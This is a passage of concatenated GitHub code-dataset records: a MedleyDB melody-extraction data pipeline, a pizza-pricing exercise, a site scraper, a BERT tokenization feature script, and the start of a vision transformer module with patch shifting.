annot.reshape((np.shape(annot)[0], np.shape(annot)[1]))\n                            times = annot[:,0]\n                            freqs = annot[:,1]\n                            freq_grid = librosa.cqt_frequencies(\n                                NCLASSES, FMIN, bins_per_octave=NCLASSES/nOctave\n                                )\n                            length = int(np.floor(len(times)*(Fs/44100)))\n                            time_grid = librosa.core.frames_to_time(\n                                range(int(length)), sr=Fs, hop_length=HOP_LENGTH\n                            )\n                            target = createAnnotation(freq_grid[:-1], time_grid, times, freqs)\n                            np.save(outFile, target.astype(np.float32))\n                self.trackList.append(i.replace('_MIX.wav', '')) # Add current track to track list\n                self.inputPath = featPath # Set feature path\n                self.targetPath = targPath # Set target path\n\n    def partDataset(self):\n\n        # data_splits_path = '/net/inavouable/u.anasynth/laffitte/Code/ismir2017-deepsalience/outputs/data_splits.json'\n        data_splits_path = '/u/anasynth/laffitte/datasplits.json'\n        with open(data_splits_path, 'r') as fhandle:\n            data_splits = json.load(fhandle)\n        ### Get test set from Rachel's paper data\n        testSet = data_splits['test']\n        trainSet = data_splits['train']\n        validSet = data_splits['validation']\n        ### GET TRAIN AND VALID DATASET FROM THE REST OF MedleyDB DATASET\n        # trainSet, validSet = sklearn.model_selection.train_test_split(restSet, train_size=0.70)\n        return trainSet, validSet, testSet\n\n    def sizeDataset(self, dataset, batchSize, rnnBatch=16):\n\n        nTracks = 0 # count number of tracks\n        nSamples = 0 # count number individual training examples\n        nBlocks = 0 # number of batches\n        bucketList = self.bucketDataset(dataset, rnnBatch)\n        for (s, subTracks) in enumerate(bucketList):\n            self.mtracks = mdb.load_all_multitracks(dataset_version = 'V1')\n            tracks = [tr.track_id for tr in self.mtracks if tr.track_id in self.trackList]\n            tracks = [tr for tr in tracks if tr in subTracks[0]]\n            longest, _ = self.findLongest(tracks)\n            nSequences = int(np.floor(longest/batchSize))\n            nBlocks += nSequences\n            for song in tracks:\n                length, _ = self.findLongest([song])\n                nSamples += length\n            nTracks += len(tracks)\n        return [nSamples, nBlocks, nTracks]\n\n    def findLongest(self, dataset):\n\n        longest = 0\n        name = ''\n        songDic = {}\n        for track in dataset:\n            i = glob.glob(os.path.join(self.inputPath, '{}_mel2_input.npy'.format(track)))\n            j = glob.glob(os.path.join(self.targetPath, '{}_mel2_target.npy'.format(track)))\n            if i and j:\n                curTarget = np.load(j[0])\n                if curTarget.shape[-1] >= longest:\n                    longest = curTarget.shape[-1]\n                    name = track\n                songDic[track] = curTarget.shape[-1]\n        return longest, name\n\n    def bucketDataset(self, dataset, size):\n\n        sortedList = []\n        bucketList = []\n        dataList = dataset[:]\n        for k in range(len(dataset)):\n            L, longest = self.findLongest(dataList)\n            if L != 0:\n                sortedList.append(longest)\n                dataList.remove(longest)\n        for k in range(int(np.floor(len(dataset)/size))+1):\n            bucketList.append([])\n            bucketList[-1].append(sortedList[k*size: k*size+size])\n\n        return bucketList\n\n    def formatDataset(self, myModel, dataset, timeDepth, targetDim, batchSize, hopSize, fftSize, nHarmonics, binsPerOctave, nOctave, rnnBatch=16, stateFull=True):\n\n        self.mtracks = mdb.load_all_multitracks(dataset_version = 'V1')\n        tracks = [tr.track_id for tr in self.mtracks if tr.track_id in self.trackList]\n        tracks = [tr for tr in tracks if tr in dataset]\n        # tracks = dataset\n        while 1:\n            bucketList = self.bucketDataset(tracks, rnnBatch)\n            for (s, subTracks) in enumerate(bucketList):\n                if stateFull:\n                    # log(\"Resetting model's states\")\n                    myModel.reset_states()\n                if \"SOFTMAX\" in targetDim or \"CATEGORICAL\" in targetDim:\n                    binary = True\n                    voicing = True\n                longest, _ = self.findLongest(subTracks[0])\n                nSequences = int(np.floor(longest/batchSize))\n                nOuts = NCLASSES\n                offset = 0\n                for b in range(nSequences): # Iterate over total number of batches and fill them up 1-b-1\n                    if \"BASELINE\" in targetDim or \"MULTILABEL\" in targetDim or \"RNN\" in targetDim:\n                        inputs = -1 * np.ones((rnnBatch, batchSize, fftSize))\n                    else:\n                        inputs = -1 * np.ones((rnnBatch, batchSize, fftSize, timeDepth, nHarmonics))\n                    if \"1D\" in targetDim or \"SOFTMAX\" in targetDim or \"BASELINE\" in targetDim or \"RNN\" in targetDim:\n                        targets = 0 * np.ones((rnnBatch, batchSize, nOuts))\n                    elif \"2D\" in targetDim:\n                        targets = 0 * np.ones((rnnBatch, batchSize, nOuts, timeDepth))\n                    elif \"MULTILABEL\" in targetDim: ### USING SEPARATE LABEL FOR PITCH AND OCTAVE DETECTION\n                        targets = -1 * np.ones((rnnBatch, batchSize, nOuts))\n                        targetNote = -1 * np.ones((rnnBatch, batchSize, binsPerOctave, timeDepth))\n                        targetOctave = -1 * np.ones((rnnBatch, batchSize, nOctave, timeDepth))\n                    for (k, track) in enumerate(sorted(subTracks[0])):\n                        i = glob.glob(os.path.join(self.inputPath, '{}_mel2_input.npy'.format(track)))\n                        j = glob.glob(os.path.join(self.targetPath, '{}_mel2_target.npy'.format(track)))\n                        if i and j:\n                            curInput = np.load(i[0])\n                            curTarget = np.load(j[0])\n                            if curInput.shape[-1] != curTarget.shape[-1]:\n                                lim = np.min((curInput.shape[-1], curTarget.shape[-1]))\n                                curInput = curInput[:,:,:lim]\n                                curTarget = curTarget[:,:lim]\n                            # curInput = zero_pad(curInput, True, timeDepth)\n                            if \"1D\" in targetDim or \"CATEGORICAL\" in targetDim:\n                                if offset+batchSize+timeDepth < curInput.shape[-1]:\n                                    for kk in range(0, batchSize, hopSize):\n                                        if len(curInput.shape) == 2:\n                                            temp = curInput[None, :, offset+kk:offset+kk+timeDepth]\n                                        else:\n                                            temp = curInput[:,:,offset+kk:offset+kk+timeDepth]\n                                        inputs[k,kk] = temp.transpose(1,2,0)\n                                    tar = curTarget[:,offset:offset+batchSize].transpose(1,0)\n                            elif \"BASELINE\" in targetDim or \"2D\" in targetDim or \"MULTILABEL\" in targetDim:\n                                if offset+batchSize < curTarget.shape[-1]:\n                                    temp = curInput[:,:,offset:offset+batchSize]\n                                    temp = temp.transpose(1, 2, 0)[None,:,:,:]\n                                    if \"BASELINE\" in targetDim or \"MULTILABEL\" in targetDim:\n                                        temp = self.deepModel.predict(temp)\n                                    inputs[k,:,:] = temp[0,:,:].transpose(1,0)\n                                    tar = curTarget[:,offset:offset+batchSize].transpose(1,0)\n                            elif \"RNN\" in targetDim:\n                                if offset+batchSize < curTarget.shape[-1]:\n                                    inputs[k,:,:] = curInput[0,:,offset:offset+batchSize].transpose(1,0)\n                                    tar = curTarget[:,offset:offset+batchSize].transpose(1,0)\n                            targets[k,:,:] = tar\n                    offset += batchSize\n                    if \"MULTILABEL\" in targetDim:\n                        targetNote, targetOctave, voicingArray = splitTarget(targets, nOctave, binsPerOctave, voicing)\n                        yield inputs, [targetNote, targetOctave]\n                    else:\n                        yield inputs, targets\n\n    def toyData(self, myModel, dataset, rnnBatch, batchSize, targetDim, fftSize, stateFull):\n        while 1:\n            bucketList = self.bucketDataset(dataset, rnnBatch)\n            for (s, subTracks) in enumerate(bucketList):\n                if stateFull:\n                    log(\"Resetting model's states\")\n                    myModel.reset_states()\n                if \"SOFTMAX\" in targetDim or \"CATEGORICAL\" in targetDim:\n                    binary = True\n                    voicing = True\n                self.mtracks = mdb.load_all_multitracks(dataset_version = 'V1')\n                tracks = [tr.track_id for tr in self.mtracks if tr.track_id in self.trackList]\n                tracks = [tr for tr in tracks if tr in subTracks[0]]\n                longest, _ = self.findLongest(tracks)\n                nSequences = int(np.floor(longest/batchSize))\n                offset = 0\n                for b in range(nSequences):\n                    labels = -1 * np.ones((rnnBatch, batchSize, fftSize))\n                    inputs = -1 * np.ones((rnnBatch, batchSize, fftSize))\n                    for l in range(2, rnnBatch):\n                        inputs[l,:,:] = l * np.ones((batchSize, fftSize))\n                        labels[l,:,:] = l * np.ones((batchSize, fftSize))\n\n                    yield inputs, labels\n\ndef splitTarget(labels, nOctave, binsPerOctave, voicing):\n\n    shape = labels.shape\n    note = np.zeros((shape[0], shape[1], binsPerOctave))\n    octave = np.zeros((shape[0], shape[1], nOctave))\n    voicingArray = np.zeros((shape[0], shape[1], 1))\n    for b in range(shape[0]):\n        for f in range(shape[1]):\n            if labels[b,f,:].nonzero()[0].any() and not any(labels[b,f,:]==-1):\n                if not voicing:\n                    index = (labels[b,f,:].nonzero()[0])\n                else:\n                    index = labels[b,f,:].nonzero()[0] - 1\n                curOctave = int(np.floor(index/(binsPerOctave)))\n                curNote = int(np.floor(index%binsPerOctave))\n                octave[b,f,curOctave] = 1\n                note[b,f,curNote] = 1\n                voicingArray[b,f,:] = 1\n\n    return note, octave, voicingArray\n\ndef mergeTarget(note, octave):\n    shape = note.shape\n    binsPerOctave = shape[2]\n    nOctave = octave.shape[2]\n    target = np.zeros((shape[0], shape[1], binsPerOctave*nOctave))\n    for b in shape[0]:\n        for f in shape[1]:\n            if note[b,f,:].nonzero()[0].any():\n                curNote = note[b,f,:].nonzero()[0]\n                curOctave = octave[b,f,:].nonzero()[0]\n                target[b,f,:] = octave*note\n\ndef getDeepSaliencePredictions(dataobj, dataset, params, modelDim, fftSize, rnnBatch):\n    log('Getting labels and inputs for plotting and score calculation')\n    batchSize = int(params['batchSize'])\n    timeDepth = int(params['timeDepth'])\n    nHarmonics = int(params['nHarmonics'])\n    hopSize = int(params['hopSize'])\n    stateFull = True if params['stateFull']==\"True\" else False\n    trackList = []\n    preds = []\n    bucketList = dataobj.bucketDataset(dataset, rnnBatch)\n    for (s, subTracks) in enumerate(bucketList):\n        for (k, track) in enumerate(sorted(subTracks[0])):\n            trackList.append(track)\n    for track in trackList:\n        print(\"Predicting on :\", track)\n        i = glob.glob(os.path.join(dataobj.inputPath, '{}_mel2_input.npy'.format(track)))\n        curInput = np.load(i[0])\n        input_hcqt = curInput.transpose(1, 2, 0)[np.newaxis, :, :, :]\n        n_t = input_hcqt.shape[2]\n        n_slices = 200\n        t_slices = list(np.arange(0, n_t, n_slices))\n        output_list = []\n        for i, t in enumerate(t_slices):\n            prediction = dataobj.deepModel.predict(input_hcqt[:, :, t:t+n_slices, :])\n            output_list.append(prediction[0, :, :])\n        preds.append(np.hstack(output_list))\n    return preds, trackList\n\ndef getLabelMatrix(myModel, dataobj, dataset, params, modelDim, fftSize, rnnBatch):\n    batchSize = int(params['batchSize'])\n    timeDepth = int(params['timeDepth'])\n    nHarmonics = int(params['nHarmonics'])\n    hopSize = int(params['hopSize'])\n    binsPerOctave = int(params['binsPerOctave'])\n    nOctave = int(params['nOctave'])\n    stateFull = True if params['stateFull']==\"True\" else False\n    gen = dataobj.formatDataset(myModel, dataset, int(timeDepth), modelDim, batchSize, hopSize, fftSize, nHarmonics, binsPerOctave, nOctave, rnnBatch, stateFull)\n    nSamples, size, length = dataobj.sizeDataset(dataset, batchSize, rnnBatch)\n    trackList = []\n    bucketList = dataobj.bucketDataset(dataset, rnnBatch)\n    for (s, subTracks) in enumerate(bucketList):\n        for (k, track) in enumerate(sorted(subTracks[0])):\n            trackList.append(track)\n    if nSamples != 0:\n        if \"MULTILABEL\" in modelDim:\n            labelNote = None\n            labelOctave = None\n        else:\n            labels = None\n        inputs = None\n        for l in range(size):\n            one, two = gen.__next__()\n            if \"MULTILABEL\" in modelDim:\n                if labelNote is None:\n                    labelNote = two[0]\n                    labelOctave = two[1]\n                    inputs = one\n                else:\n                    labelNote = np.concatenate((labelNote, two[0]))\n                    labelOctave = np.concatenate((labelOctave, two[1]))\n                    inputs = np.concatenate((inputs, one))\n            else:\n                if labels is None:\n                    labels = two\n                    if not \"1D\" in modelDim:\n                        inputs = one\n                else:\n                    labels = np.concatenate((labels, two))\n                    if not \"1D\" in modelDim:\n                        inputs = np.concatenate((inputs, one))\n    if \"MULTILABEL\" in modelDim:\n        return labelNote, labelOctave, inputs, trackList\n    else:\n        return labels, inputs, trackList\n\ndef createAnnotation(freq_grid, time_grid, annotation_times,\n                             annotation_freqs):\n    \"\"\" Create the binary annotation target labels from the frequency Annotations\n    --- The target vector, of size 72, is built so that it covers a range of frequencies from 0Hz (non-melody) to 1864Hz\n    \"\"\"\n    n_freqs = len(freq_grid)\n    n_times = len(time_grid)\n    idx = np.array(np.arange(0, len(annotation_times), 44100/Fs), dtype='int32')\n    annotation_times = annotation_times[idx]\n    annotation_freqs = annotation_freqs[idx]\n\n    time_bins = grid_to_bins(time_grid, 0.0, time_grid[-1])\n    freq_bins = grid_to_bins(freq_grid, 0.0, freq_grid[-1])\n    annot_time_idx = np.digitize(annotation_times, time_grid) - 1\n    annot_freq_idx = np.digitize(annotation_freqs, freq_grid)\n    annotation_target = np.zeros((NCLASSES, n_times))\n    annotation_target[annot_freq_idx, annot_time_idx] = 1\n\n    return annotation_target\n\ndef computeVoicing(activations):\n\n    # import pdb; pdb.set_trace()\n    if len(activations.shape)==1:\n        ind = np.where(activations)[0]\n        voicingArray = np.zeros_like(activations)\n        voicingArray = np.insert(voicingArray, -1, 0)\n        if not any(activations):\n            voicingArray[0] = 1\n        else:\n            voicingArray[ind+1] = 1\n    else:\n        for k in range(activations.shape[0]):\n            # ind = np.where((activations[k,:]==0),0,0)\n            voicingArray = activations\n            voicingArray = np.insert(voicingArray, -1, 0)\n            if not any(activations[k,:]):\n                voicingArray[0] = 1\n\n    return voicingArray\n\n### ---------------- COMPUTE HCQT FEATURES ---------------- ###\ndef computeHcqt(audio_fpath, nHarmonics, binsPerOctave, n_bins):\n\n    y, fs = librosa.load(audio_fpath, sr=Fs)\n    cqt_list = []\n    shapes = []\n    harmonics = HARMONICS[0:nHarmonics]\n    for h in harmonics:\n        cqt = librosa.cqt(\n            y, sr=Fs, hop_length=HOP_LENGTH, fmin=FMIN*float(h),\n            n_bins=n_bins,\n            bins_per_octave=binsPerOctave\n        )\n        cqt_list.append(cqt)\n        shapes.append(cqt.shape)\n\n    shapes_equal = [s == shapes[0] for s in shapes]\n    if not all(shapes_equal):\n        min_time = np.min([s[1] for s in shapes])\n        new_cqt_list = []\n        for i in range(len(cqt_list)):\n            new_cqt_list.append(cqt_list[i][:, :min_time])\n        cqt_list = new_cqt_list\n\n    log_hcqt = ((1.0/80.0) * librosa.core.amplitude_to_db(\n        np.abs(np.array(cqt_list)), ref=np.max)) + 1.0\n\n    return log_hcqt\n\ndef turnToVoicing(targets):\n    ### ---------------- TURN ANNOTATION TO BINARY VOICING LABELS ---------------- ###\n    return\n\ndef readAnnotation(filePath, num_cols=None, header=False):\n    if filePath is not None and os.path.exists(filePath):\n        with open(filePath) as f_handle:\n            annotation = []\n            linereader = csv.reader(f_handle)\n\n            # skip the headers for non csv files\n            if header:\n                header = next(linereader)\n            else:\n                header = []\n\n            for line in linereader:\n                if num_cols:\n                    line = line[:num_cols]\n                annotation.append([float(val) for val in line])\n        return annotation, header\n    else:\n        return None, None\n\ndef grid_to_bins(grid, start_bin_val, end_bin_val):\n    \"\"\"Compute the bin numbers from a given grid\n    \"\"\"\n    bin_centers = (grid[1:] + grid[:-1])/2.0\n    bins = np.concatenate([[start_bin_val], bin_centers, [end_bin_val]])\n    return bins\n\ndef bkld(y_true, y_pred):\n    \"\"\"KL Divergence where both y_true an y_pred are probabilities\n    \"\"\"\n    y_true = K.clip(y_true, K.epsilon(), 1.0 - K.epsilon())\n    y_pred = K.clip(y_pred, K.epsilon(), 1.0 - K.epsilon())\n    return K.mean(K.mean(\n        -1.0*y_true* K.log(y_pred) - (1.0 - y_true) * K.log(1.0 - y_pred),\n        axis=-1), axis=-1)\n\ndef zero_pad(curInput, sym, size):\n\n    shape = np.shape(curInput)\n    newshape = np.asarray(shape)\n    if len(shape)>=3:\n        newshape[2] = newshape[2] + size\n        newStructure = np.zeros(newshape)\n        start = int(size / 2)\n        stop = int(newshape[2] - (size / 2))\n        newStructure[:, :, start : stop] = curInput\n    else:\n        newshape[1] = newshape[1] + size\n        newStructure = np.zeros(newshape)\n        start = int(size / 2)\n        stop = int(newshape[1] - (size / 2))\n        newStructure[:, start : stop] = curInput\n\n    return newStructure\n","repo_name":"plaffitte/melody","sub_path":"data_creation.py","file_name":"data_creation.py","file_ext":"py","file_size_in_byte":23510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70814774439","text":"\n# calculate the HST 13%\ndef calcTax(s):\n  return float(s) * 0.13\n\n# initialize subtotal and topping count\nsubtotal = 0.0\ntoppings = 0\n\n# get the size \nsize = input(\"What size pizza? (large or extralarge): \")\nif size == \"large\": \n  subtotal = subtotal + 6.00\nelif size == \"extralarge\":\n  subtotal = subtotal + 10.00\nelse:\n  print(\"Invalid size\")\n  exit(0)\n\n# get the topping count\ntoppings = int(input(\"How many toppings? (1-4): \"))\nif toppings == 1:\n  subtotal = subtotal + 1.00\nelif toppings == 2:\n  subtotal = subtotal + 1.75\nelif toppings == 3:\n  subtotal = subtotal + 2.50\nelif toppings == 4:\n  subtotal = subtotal + 3.35\nelse:\n  print(\"Invalid topping count\")\n  exit(0)\n\n# calculate the tax and total fro mthe subtotal  \ntax = calcTax(subtotal)\ntotal = subtotal + tax\n\n# print the order \nprint(\"Order:\")\nprint(\"One\", size, \"pizza with\", toppings, \"toppings:\")\nprint(\"subtotal: $\", subtotal)\nprint(\"     HST: $\", tax)\nprint(\"   Total: $\", total)\n\n\n","repo_name":"SHH-ICS/weekly-3b-ChrisRobby","sub_path":"assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"26145867015","text":"from bs4 import BeautifulSoup\nfrom requests_html import HTMLSession  \nimport requests\nimport os, tqdm, sys, json\nfrom urllib.parse import urljoin, urlparse\n\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--u', type=str, required=True,\n                    help='Starting URL to parse (e.g. http://main.com)')\nparser.add_argument('-m', '--m', type=str, required=False,\n                    help='XPath to look for main content (e.g. \\'div.main\\', \\'div[id=\\\"main\\\"]\\')')\nparser.add_argument('-n', '--n', type=str, required=False,\n                    help='XPath to look for site navigation links (e.g. \\'div.nav a\\')')\nparser.add_argument('-js', '--js', type=str, required=False,\n                    help='Whether to run JavaScript on page or not (0=False, 1=True (default))')\n\nargs = parser.parse_args()\n\nSTART_PAGE = args.u\nif START_PAGE is None:\n    raise(Exception(\"Missing url to scrape, e.g. python main.py https://www.evas.ca\"))\n\n\nMAIN_TAG = args.m\nNAV_TAG = args.n\nRUN_JS = not not args.js\nOUTPUT_DIR = './output/'\n\nif RUN_JS:\n    from selenium import webdriver\n    from selenium.webdriver.chrome.options import Options\n\n    options = Options()\n    options.headless = True\n    options.add_argument(\"--window-size=1920,1200\")\n    DRIVER = webdriver.Chrome(options=options)\n\ndef render_HTML(url):\n    text = None\n    try:\n        if RUN_JS:\n            DRIVER.get(url)\n            text = DRIVER.page_source\n    except:\n        pass\n    if text is None:\n        headers = {\n            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}\n        res = requests.get(url, headers=headers)\n        text = res.text\n\n    return text\n\ndef get_and_save_html(url: str, filepath: str):\n    text = render_HTML(url)\n\n    if not filepath.endswith('.html'):\n        filepath += '.html'\n\n    f = open(filepath, \"w\", encoding='utf-8')\n    for line in text:\n        f.write(line)\n    f.close()\n    return text\n\n\ndef get_page(url, filepath, search_tag=None):\n    text = get_and_save_html(url, filepath)\n\n    html_text = None\n    if search_tag is not None:\n        soup = BeautifulSoup(text, \"html.parser\")\n        html_text = \"\\n\".join([h.extract().get_text() for h in soup.select(search_tag)])\n    if html_text is None:\n        soup = BeautifulSoup(text, \"html.parser\")\n        html_text = soup.get_text()\n\n    f = open(f'{filepath}.txt', \"w\", encoding='utf-8')  # Creating txt File\n\n    for line in html_text.split('\\n'):\n        line = line.strip(' \\n\\t')\n        if line != '':\n            f.write(line + '\\n')\n\n    f.close()\n    return soup\n\n\ndef get_path(base_url: str, href: str):\n    if (not href) or href[0] == '#':\n        return\n\n    if href[0] == '/':\n        href = base_url + href\n    elif not href.startswith('http'):\n        href = base_url + '/' + href\n\n    parsed_url = urlparse(href)\n\n    return OUTPUT_DIR + '/' + parsed_url.hostname + '/' + parsed_url.path\n\ndef scrape(start_page, search_tag, nav_tag):\n    os.makedirs(OUTPUT_DIR, exist_ok=True)\n    main_page = get_page(start_page, './', search_tag=search_tag)\n    if nav_tag is not None:\n        links = main_page.select(nav_tag)\n    else:\n        links = main_page.findAll('a')\n    for a in tqdm.tqdm(links):\n        href = a.attrs.get('href')\n\n        filepath = get_path(start_page, href)\n\n        href_path = urljoin(start_page, href) \n\n        if not filepath or (not href_path.startswith(start_page)):\n            continue\n        dir_path = filepath[:filepath.rindex('/')]\n\n        if filepath.endswith('/'):\n            filepath += 'index'\n\n        os.makedirs(dir_path, exist_ok=True)\n        get_page(href_path, filepath, search_tag=search_tag)\n\n\nif __name__ == '__main__':\n    scrape(start_page=START_PAGE, search_tag=MAIN_TAG, nav_tag=NAV_TAG)\n\n    try:\n        DRIVER.quit()\n    except:\n        pass\n","repo_name":"csse-uoft/website-scraper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29908197757","text":"from __future__ import absolute_import, division, print_function\n\nimport argparse\nimport codecs\nimport collections\nimport json\nimport logging\nimport re\n\nimport torch\nfrom torch.utils.data import (DataLoader, RandomSampler, SequentialSampler,\n                              TensorDataset)\nfrom torch.utils.data.distributed import DistributedSampler\n\nimport tokenization\nfrom modeling import BertConfig, BertModel\n\nvocab_file = '/Users/sugiyamayuu/git/pytorch-pretrained-BERT/uncased_L-12_H-768_A-12/vocab.txt'\n\ntokenizer = tokenization.FullTokenizer(\n        vocab_file=vocab_file, do_lower_case=True)\n\n\nclass InputExample(object):\n    def __init__(self, unique_id, text_a, text_b):\n        self.unique_id = unique_id\n        self.text_a = text_a\n        self.text_b = text_b\n\n\nclass InputFeatures(object):\n    \"\"\"A single set of features of data.\"\"\"\n\n    def __init__(self, unique_id, tokens, input_ids, input_mask,\n                 input_type_ids):\n        self.unique_id = unique_id\n        self.tokens = tokens\n        self.input_ids = input_ids\n        self.input_mask = input_mask\n        self.input_type_ids = input_type_ids\n\n\ndef seq2vec(sentence, seq_length=128, tokenizer=tokenizer):\n    features = []\n    examples = read_examples(sentence)\n    for (ex_index, example) in enumerate(examples):\n        tokens_a = tokenizer.tokenize(example.text_a)\n\n        tokens_b = None\n        if example.text_b:\n            tokens_b = tokenizer.tokenize(example.text_b)\n\n        if tokens_b:\n            # Modifies `tokens_a` and `tokens_b` in place so that the total\n            # length is less than the specified length.\n            # Account for [CLS], [SEP], [SEP] with \"- 3\"\n            _truncate_seq_pair(tokens_a, tokens_b, seq_length - 3)\n        else:\n            # Account for [CLS] and [SEP] with \"- 2\"\n            if len(tokens_a) > seq_length - 2:\n                tokens_a = tokens_a[0:(seq_length - 2)]\n\n        # The convention in BERT is:\n        # (a) For sequence pairs:\n        #  tokens:   [CLS] is this jack ##son ##ville ? [SEP] no it is not . [SEP]\n        #  type_ids: 0   0  0    0    0     0       0 0    1  1  1  1   1 1\n        # (b) For single sequences:\n        #  tokens:   [CLS] the dog is hairy . [SEP]\n        #  type_ids: 0   0   0   0  0     0 0\n        #\n        # Where \"type_ids\" are used to indicate whether this is the first\n        # sequence or the second sequence. The embedding vectors for `type=0` and\n        # `type=1` were learned during pre-training and are added to the wordpiece\n        # embedding vector (and position vector). This is not *strictly* necessary\n        # since the [SEP] token unambigiously separates the sequences, but it makes\n        # it easier for the model to learn the concept of sequences.\n        #\n        # For classification tasks, the first vector (corresponding to [CLS]) is\n        # used as as the \"sentence vector\". Note that this only makes sense because\n        # the entire model is fine-tuned.\n        tokens = []\n        input_type_ids = []\n        tokens.append(\"[CLS]\")\n        input_type_ids.append(0)\n        for token in tokens_a:\n            tokens.append(token)\n            input_type_ids.append(0)\n        tokens.append(\"[SEP]\")\n        input_type_ids.append(0)\n\n        if tokens_b:\n            for token in tokens_b:\n                tokens.append(token)\n                input_type_ids.append(1)\n            tokens.append(\"[SEP]\")\n            input_type_ids.append(1)\n\n        input_ids = tokenizer.convert_tokens_to_ids(tokens)\n\n        # The mask has 1 for real tokens and 0 for padding tokens. Only real\n        # tokens are attended to.\n        input_mask = [1] * len(input_ids)\n\n        # Zero-pad up to the sequence length.\n        while len(input_ids) < seq_length:\n            input_ids.append(0)\n            input_mask.append(0)\n            input_type_ids.append(0)\n\n        assert len(input_ids) == seq_length\n        assert len(input_mask) == seq_length\n        assert len(input_type_ids) == seq_length\n\n        if ex_index < 5:\n            logger.info(\"*** Example ***\")\n            logger.info(\"unique_id: %s\" % (example.unique_id))\n            logger.info(\"tokens: %s\" % \" \".join([str(x) for x in tokens]))\n            logger.info(\n                \"input_ids: %s\" % \" \".join([str(x) for x in input_ids]))\n            logger.info(\n                \"input_mask: %s\" % \" \".join([str(x) for x in input_mask]))\n            logger.info(\"input_type_ids: %s\" % \" \".join(\n                [str(x) for x in input_type_ids]))\n\n        features.append(\n            InputFeatures(\n                unique_id=example.unique_id,\n                tokens=tokens,\n                input_ids=input_ids,\n                input_mask=input_mask,\n                input_type_ids=input_type_ids))\n    return features\n\n\ndef read_examples(sentence):\n    \"\"\"Read a list of `InputExample`s from an input file.\"\"\"\n    examples = []\n    unique_id = 0\n    while True:\n        line = tokenization.convert_to_unicode(sentence)\n        if not line:\n            break\n        line = line.strip()\n        text_a = None\n        text_b = None\n        m = re.match(r\"^(.*) \\|\\|\\| (.*)$\", line)\n        if m is None:\n            text_a = line\n        else:\n            text_a = m.group(1)\n            text_b = m.group(2)\n        examples.append(\n            InputExample(\n                unique_id=unique_id, text_a=text_a, text_b=text_b))\n        unique_id += 1\n    return examples\n\n\ndef _truncate_seq_pair(tokens_a, tokens_b, max_length):\n    \"\"\"Truncates a sequence pair in place to the maximum length.\"\"\"\n\n    # This is a simple heuristic which will always truncate the longer sequence\n    # one token at a time. This makes more sense than truncating an equal percent\n    # of tokens from each, since if one sequence is very short then each token\n    # that's truncated likely contains more information than a longer sequence.\n    while True:\n        total_length = len(tokens_a) + len(tokens_b)\n        if total_length <= max_length:\n            break\n        if len(tokens_a) > len(tokens_b):\n            tokens_a.pop()\n        else:\n            tokens_b.pop()\n\n\nif __name__ == '__main__':\n    seq2vec('Who is Jhon ?')\n","repo_name":"sugiya-y/StyleTransferWords","sub_path":"bert/seq2vec_deplicated.py","file_name":"seq2vec_deplicated.py","file_ext":"py","file_size_in_byte":6188,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"71952490601","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec  4 22:34:32 2022\n\n@author: Shahir, Faraz, Pratyush\nModified from: https://github.com/aanna0701/SPT_LSA_ViT\n\"\"\"\n\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\nfrom einops import rearrange, repeat\nfrom einops.layers.torch import Rearrange\n\nfrom cs330_project.utils import make_pair_shape\n\n\ndef max_neg_value(tensor):\n    return -torch.finfo(tensor.dtype).max\n\n\nclass DropPath(nn.Module):\n    \"\"\"\n    Obtained from: github.com:rwightman/pytorch-image-models\n    Drop paths (Stochastic Depth) per sample  (when applied in main path of residual blocks).\n    \"\"\"\n\n    def __init__(\n            self,\n            drop_prob=None):\n\n        super(DropPath, self).__init__()\n        self.drop_prob = drop_prob\n\n    @staticmethod\n    def drop_path(\n            x,\n            drop_prob=0.0,\n            training=False):\n        \"\"\"\n        Obtained from: github.com:rwightman/pytorch-image-models\n        Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks).\n        This is the same as the DropConnect impl I created for EfficientNet, etc networks, however,\n        the original name is misleading as 'Drop Connect' is a different form of dropout in a separate paper...\n        # issuecomment-532968956 ... I've opted for\n        See discussion: https://github.com/tensorflow/tpu/issues/494\n        changing the layer and argument names to 'drop path' rather than mix DropConnect as a layer name and use\n        'survival rate' as the argument.\n        \"\"\"\n        if drop_prob == 0. or not training:\n            return x\n        keep_prob = 1 - drop_prob\n        # work with diff dim tensors, not just 2D ConvNets\n        shape = (x.shape[0],) + (1,) * (x.ndim - 1)\n        random_tensor = keep_prob + \\\n            torch.rand(shape, dtype=x.dtype, device=x.device)\n        random_tensor.floor_()  # binarize\n        output = x.div(keep_prob) * random_tensor\n        return output\n\n    def forward(\n            self,\n            x):\n\n        return self.drop_path(x, self.drop_prob, self.training)\n\n\nclass PatchShifting2d(nn.Module):\n    CARDINAL_4_DIRECTIONS_MODE = 0\n    CARDINAL_8_DIRECTIONS_MODE = 1\n    DIAGONAL_4_DIRECTIONS_MODE = 2\n\n    def __init__(\n            self,\n            shift_size,\n            mode=0):\n\n        super().__init__()\n        self.mode = mode\n        self.expansion = 9 if self.mode == self.CARDINAL_8_DIRECTIONS_MODE else 5\n        self.half_shift = shift_size // 2\n\n    def forward(\n            self,\n            x):\n\n        # x is shape [b, c, h, w]\n        x_pad = F.pad(\n            x,\n            (self.half_shift, self.half_shift,\n             self.half_shift, self.half_shift))\n\n        # 4 cardinal directions\n        if self.mode == self.CARDINAL_4_DIRECTIONS_MODE:\n            x_l2 = x_pad[:, :, self.half_shift:-\n                         self.half_shift, : -self.half_shift * 2]\n            x_r2 = x_pad[:, :, self.half_shift: -\n                         self.half_shift, self.half_shift * 2:]\n            x_t2 = x_pad[:, :, : -self.half_shift *\n                         2, self.half_shift: -self.half_shift]\n            x_b2 = x_pad[:, :, self.half_shift * 2:,\n                         self.half_shift: -self.half_shift]\n            x_cat = torch.cat([x, x_l2, x_r2, x_t2, x_b2], dim=1)\n\n        # 4 diagonal directions\n        if 